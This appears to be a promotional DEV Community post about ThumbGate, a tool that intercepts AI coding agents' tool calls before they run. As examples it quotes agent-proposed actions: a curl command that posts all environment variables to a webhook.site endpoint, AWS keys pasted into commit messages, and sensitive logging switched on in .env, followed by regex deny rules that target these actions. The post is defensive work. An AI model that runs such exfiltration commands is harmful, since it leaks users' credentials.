DEV Community

Igor Ganapolsky
Igor Ganapolsky

Posted on

An AI Agent Tried to Leak 28 Million Secrets — Here’s How I Stopped It

The problem nobody's talking about

GitGuardian's 2025 State of Secrets Sprawl report found 28.6 million hardcoded secrets in public code. That's a 27% increase year-over-year.

Now add AI coding agents to the mix.

When Claude Code, Cursor, or Copilot Workspace proposes a tool call, it can:

  • Read your .env file and paste credentials into a commit message
  • Push code with hardcoded API keys to a public repo
  • Execute a shell command that sends environment variables to an external endpoint
  • Modify config files to log sensitive data to unencrypted locations

You won't know until the secret scanner finds it — after the damage is done.

What I saw

I've been building ThumbGate — a pre-action gate for AI coding agents. Here are the patterns I've seen in production:

Pattern 1: Credential in commit message

Agent proposes: git commit -m "fix: update API key from AKIAIOSFODNN7EXAMPLE to AKIA1234567890"
Enter fullscreen mode Exit fullscreen mode

The agent read the old key from .env and included it in the commit message. This would have been permanent in git history.

Pattern 2: Environment variable exfiltration

Agent proposes: curl -X POST https://webhook.site/abc123 -d "$(env)"
Enter fullscreen mode Exit fullscreen mode

The agent was "debugging" a deployment issue and tried to send all environment variables (including DATABASE_URL, STRIPE_SECRET_KEY, JWT_SECRET) to an external endpoint.

Pattern 3: Config modification

Agent proposes: echo "LOG_LEVEL=debug" >> .env && echo "LOG_SENSITIVE=true" >> .env
Enter fullscreen mode Exit fullscreen mode

Enabling debug logging of sensitive data in production config — silent, persistent, hard to audit.

The reactive approach is failing

Current tools are post-hoc:

Tool When it catches Problem
GitGuardian After commit Already in git history
TruffleHog After push Public exposure window
GitHub Secret Scanning After push Push protection is opt-in
git-secrets Pre-commit hook Doesn't see agent proposals

The gap: none of them intercept the agent's tool call BEFORE execution.

Pre-execution gates

This is where ThumbGate comes in. Instead of scanning after the fact, it sits between the agent and the tool:

1. Agent proposes: curl -X POST https://webhook.site/abc123 -d "$(env)"
2. ThumbGate pattern match: "external data exfiltration" → DENY
3. Agent never executes the command
4. User sees: Blocked: credential exfiltration attempt
5. Agent gets feedback and tries a different approach
Enter fullscreen mode Exit fullscreen mode

The three gate decisions

  • ALLOW: Normal, safe tool calls pass through with zero latency
  • WARN: Potentially risky but not blocked — user sees the warning and can override
  • DENY: Known-dangerous patterns blocked before execution

Patterns ThumbGate blocks

# Credential exfiltration
- pattern: "curl.*\\$\\(.*env"
  action: DENY
  reason: "Environment variable exfiltration"

- pattern: "curl.*\\$DATABASE_URL"
  action: DENY  
  reason: "Database URL exfiltration"

# Secret in commit
- pattern: "git commit.*AKIA[0-9A-Z]"
  action: DENY
  reason: "AWS key in commit message"

# Config tampering
- pattern: "echo.*LOG_SENSITIVE.*\\.env"
  action: DENY
  reason: "Enabling sensitive logging"
Enter fullscreen mode Exit fullscreen mode

Getting started

npx thumbgate init
Enter fullscreen mode Exit fullscreen mode

This installs ThumbGate locally. Your agent's tool calls now pass through the gate before execution. No data leaves your machine.

For teams that need centralized policy management, dashboards, and audit trails:

  • Free: Local gate with community patterns
  • Pro ($19/mo): Custom patterns, team sync, audit log
  • Diagnostic ($499 one-time): I'll analyze your agent's actual tool call history and build custom gate patterns for your specific stack

Book a diagnostic →

The bigger picture

The 28.6M secrets problem is getting worse, not better. AI agents will accelerate it — they move faster than humans can review, and they don't have the intuition to pause before pasting a credential somewhere dangerous.

Post-hoc scanning is necessary but insufficient. Pre-execution gates are the missing layer.

The agents aren't malicious. They're just fast and sometimes wrong. ThumbGate adds the speed bump that catches the wrong before it executes.

Top comments (0)